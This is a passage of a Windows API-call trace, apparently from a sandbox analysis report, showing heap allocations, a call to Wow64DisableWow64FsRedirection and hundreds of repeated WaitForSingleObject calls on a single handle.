Flags=0x0, Size=0x10000) returned 0x3ad0730 [0075.319] GetProcessHeap () returned 0x11a0000 [0075.319] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x28) returned 0x11cd378 [0075.319] GetProcessHeap () returned 0x11a0000 [0075.319] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x110102) returned 0x3cdc020 [0075.323] GetProcessHeap () returned 0x11a0000 [0075.323] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11c5368 [0075.323] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0075.323] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0075.323] Wow64DisableWow64FsRedirection (in: OldValue=0x383fe2c | out: OldValue=0x383fe2c*=0x0) returned 1 [0075.323] GetProcessHeap () returned 0x11a0000 [0075.323] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5368 | out: hHeap=0x11a0000) returned 1 [0075.323] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.324] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.324] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.324] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.324] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.324] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.324] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.324] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.324] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.324] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.325] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.325] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.325] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.325] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.325] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.325] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.325] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.325] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.325] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.326] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.327] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.327] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.327] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.327] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.327] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.327] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.327] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.327] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.327] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.328] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.329] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.329] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.329] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.329] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.329] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.329] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.329] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.329] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.329] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.330] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.330] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.330] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.330] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.330] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.330] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.330] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.330] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.331] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.331] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.332] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.333] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.334] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.334] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.334] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.334] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.334] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.334] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.334] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.334] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.334] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.349] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.350] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.350] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.350] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.350] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.350] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.350] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.350] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.350] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.350] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.351] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.351] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.351] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.351] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.351] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.351] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.351] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.351] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0075.351] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.305] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.305] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.305] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.305] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.306] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.306] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.306] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.306] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.306] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.306] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.306] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.306] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.306] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.307] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.307] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.307] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.307] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.307] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.307] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.307] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.307] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.308] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.308] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.308] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.308] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.308] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.308] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.308] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.308] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.308] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.309] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.309] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.309] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.309] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.309] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.309] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.309] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.309] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.309] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.310] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.310] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.310] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.310] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.310] WaitForSingleObject 